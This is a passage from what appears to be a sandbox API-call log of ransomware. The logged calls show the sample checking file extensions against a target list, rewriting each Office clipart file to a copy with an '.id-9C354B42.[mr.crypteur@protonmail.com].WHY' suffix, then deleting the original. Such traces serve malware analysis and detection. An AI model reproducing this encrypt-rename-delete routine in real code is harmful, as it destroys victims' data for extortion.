(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0273.091] lstrlenW (lpString=".1cd") returned 4 [0273.091] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0273.091] lstrlenW (lpString=".jpg") returned 4 [0273.091] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0273.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0273.092] lstrlenW (lpString=".doc") returned 4 [0273.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.092] lstrlenW (lpString=".docx") returned 5 [0273.092] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.092] lstrlenW (lpString=".pdf") returned 4 [0273.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.092] lstrlenW (lpString=".xls") returned 4 [0273.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.092] lstrlenW (lpString=".xlsx") returned 5 [0273.093] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.093] lstrlenW (lpString=".ppt") returned 4 [0273.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0273.093] lstrlenW (lpString=".zip") returned 4 [0273.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.093] lstrlenW (lpString=".rar") returned 4 [0273.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.093] lstrlenW (lpString=".bz2") returned 4 [0273.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.093] lstrlenW (lpString=".7z") returned 3 [0273.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0273.094] lstrlenW (lpString=".dbf") returned 4 [0273.094] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0273.094] lstrlenW (lpString=".1cd") returned 4 [0273.094] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0273.094] lstrlenW (lpString=".jpg") returned 4 [0273.094] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.095] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0273.095] lstrlenW (lpString="BD00146_.WMF") returned 12 [0273.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0273.096] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=28948) returned 1 [0273.096] CloseHandle (hObject=0x258) returned 1 [0273.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x20 [0273.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0273.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0273.097] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.097] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0273.098] GetLastError () returned 0x0 [0273.098] ReadFile (in: hFile=0x258, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x7114, lpOverlapped=0x0) returned 1 [0273.216] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x7120, lpOverlapped=0x0) returned 1 [0273.220] ReadFile (in: hFile=0x258, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.220] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.220] SetEndOfFile (hFile=0x3b0) returned 1 [0273.221] CloseHandle (hObject=0x3b0) returned 1 [0273.222] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.222] SetEndOfFile (hFile=0x258) returned 1 [0273.231] CloseHandle (hObject=0x258) returned 1 [0273.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0273.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0273.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0273.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0273.233] lstrlenW (lpString=".doc") returned 4 [0273.233] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.233] lstrlenW (lpString=".docx") returned 5 [0273.233] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.233] lstrlenW (lpString=".pdf") returned 4 [0273.233] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.233] lstrlenW (lpString=".xls") returned 4 [0273.233] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.233] lstrlenW (lpString=".xlsx") returned 5 [0273.234] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.234] lstrlenW (lpString=".ppt") returned 4 [0273.234] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0273.234] lstrlenW (lpString=".zip") returned 4 [0273.234] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.234] lstrlenW (lpString=".rar") returned 4 [0273.234] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.234] lstrlenW (lpString=".bz2") returned 4 [0273.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.234] lstrlenW (lpString=".7z") returned 3 [0273.234] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0273.235] lstrlenW (lpString=".dbf") returned 4 [0273.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0273.235] lstrlenW (lpString=".1cd") returned 4 [0273.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0273.235] lstrlenW (lpString=".jpg") returned 4 [0273.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0273.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0273.235] lstrlenW (lpString=".doc") returned 4 [0273.236] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.236] lstrlenW (lpString=".docx") returned 5 [0273.236] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.236] lstrlenW (lpString=".pdf") returned 4 [0273.236] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.236] lstrlenW (lpString=".xls") returned 4 [0273.236] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.236] lstrlenW (lpString=".xlsx") returned 5 [0273.236] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.236] lstrlenW (lpString=".ppt") returned 4 [0273.236] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0273.237] lstrlenW (lpString=".zip") returned 4 [0273.237] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.237] lstrlenW (lpString=".rar") returned 4 [0273.237] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.237] lstrlenW (lpString=".bz2") returned 4 [0273.237] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.237] lstrlenW (lpString=".7z") returned 3 [0273.237] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0273.237] lstrlenW (lpString=".dbf") returned 4 [0273.237] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0273.238] lstrlenW (lpString=".1cd") returned 4 [0273.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0273.238] lstrlenW (lpString=".jpg") returned 4 [0273.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.238] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0273.239] lstrlenW (lpString="BD00155_.WMF") returned 12 [0273.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0273.240] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=11636) returned 1 [0273.240] CloseHandle (hObject=0x258) returned 1 [0273.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x20 [0273.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0273.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0273.241] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.241] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0273.243] GetLastError () returned 0x0 [0273.243] ReadFile (in: hFile=0x258, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x2d74, lpOverlapped=0x0) returned 1 [0273.313] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x2d80, lpOverlapped=0x0) returned 1 [0273.318] ReadFile (in: hFile=0x258, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.318] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.319] SetEndOfFile (hFile=0x3b0) returned 1 [0273.319] CloseHandle (hObject=0x3b0) returned 1 [0273.320] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.320] SetEndOfFile (hFile=0x258) returned 1 [0273.328] CloseHandle (hObject=0x258) returned 1 [0273.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0273.329] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0273.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0273.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0273.331] lstrlenW (lpString=".doc") returned 4 [0273.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.331] lstrlenW (lpString=".docx") returned 5 [0273.331] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.331] lstrlenW (lpString=".pdf") returned 4 [0273.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.331] lstrlenW (lpString=".xls") returned 4 [0273.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.331] lstrlenW (lpString=".xlsx") returned 5 [0273.331] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.331] lstrlenW (lpString=".ppt") returned 4 [0273.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0273.332] lstrlenW (lpString=".zip") returned 4 [0273.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.332] lstrlenW (lpString=".rar") returned 4 [0273.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.332] lstrlenW (lpString=".bz2") returned 4 [0273.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.332] lstrlenW (lpString=".7z") returned 3 [0273.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0273.332] lstrlenW (lpString=".dbf") returned 4 [0273.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0273.333] lstrlenW (lpString=".1cd") returned 4 [0273.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0273.333] lstrlenW (lpString=".jpg") returned 4 [0273.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0273.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0273.333] lstrlenW (lpString=".doc") returned 4 [0273.333] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.333] lstrlenW (lpString=".docx") returned 5 [0273.333] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.333] lstrlenW (lpString=".pdf") returned 4 [0273.334] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.334] lstrlenW (lpString=".xls") returned 4 [0273.334] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.334] lstrlenW (lpString=".xlsx") returned 5 [0273.334] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.334] lstrlenW (lpString=".ppt") returned 4 [0273.334] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0273.334] lstrlenW (lpString=".zip") returned 4 [0273.334] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.334] lstrlenW (lpString=".rar") returned 4 [0273.334] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.335] lstrlenW (lpString=".bz2") returned 4 [0273.335] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.335] lstrlenW (lpString=".7z") returned 3 [0273.335] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0273.335] lstrlenW (lpString=".dbf") returned 4 [0273.335] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0273.335] lstrlenW (lpString=".1cd") returned 4 [0273.335] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0273.335] lstrlenW (lpString=".jpg") returned 4 [0273.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.336] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0273.336] lstrlenW (lpString="BD00173_.WMF") returned 12 [0273.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0273.352] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=16180) returned 1 [0273.352] CloseHandle (hObject=0x258) returned 1 [0273.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x20 [0273.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0273.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0273.354] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.354] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0273.355] GetLastError () returned 0x0 [0273.355] ReadFile (in: hFile=0x258, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x3f34, lpOverlapped=0x0) returned 1 [0273.497] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x3f40, lpOverlapped=0x0) returned 1 [0273.501] ReadFile (in: hFile=0x258, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.501] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.501] SetEndOfFile (hFile=0x3b0) returned 1 [0273.501] CloseHandle (hObject=0x3b0) returned 1 [0273.503] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.503] SetEndOfFile (hFile=0x258) returned 1 [0273.973] CloseHandle (hObject=0x258) returned 1 [0273.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0274.098] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0274.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0274.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0274.099] lstrlenW (lpString=".doc") returned 4 [0274.099] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.099] lstrlenW (lpString=".docx") returned 5 [0274.099] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.099] lstrlenW (lpString=".pdf") returned 4 [0274.099] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.099] lstrlenW (lpString=".xls") returned 4 [0274.099] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.099] lstrlenW (lpString=".xlsx") returned 5 [0274.099] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.099] lstrlenW (lpString=".ppt") returned 4 [0274.100] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0274.100] lstrlenW (lpString=".zip") returned 4 [0274.100] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.100] lstrlenW (lpString=".rar") returned 4 [0274.100] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.100] lstrlenW (lpString=".bz2") returned 4 [0274.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.100] lstrlenW (lpString=".7z") returned 3 [0274.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0274.100] lstrlenW (lpString=".dbf") returned 4 [0274.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0274.101] lstrlenW (lpString=".1cd") returned 4 [0274.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0274.101] lstrlenW (lpString=".jpg") returned 4 [0274.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0274.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0274.102] lstrlenW (lpString=".doc") returned 4 [0274.102] 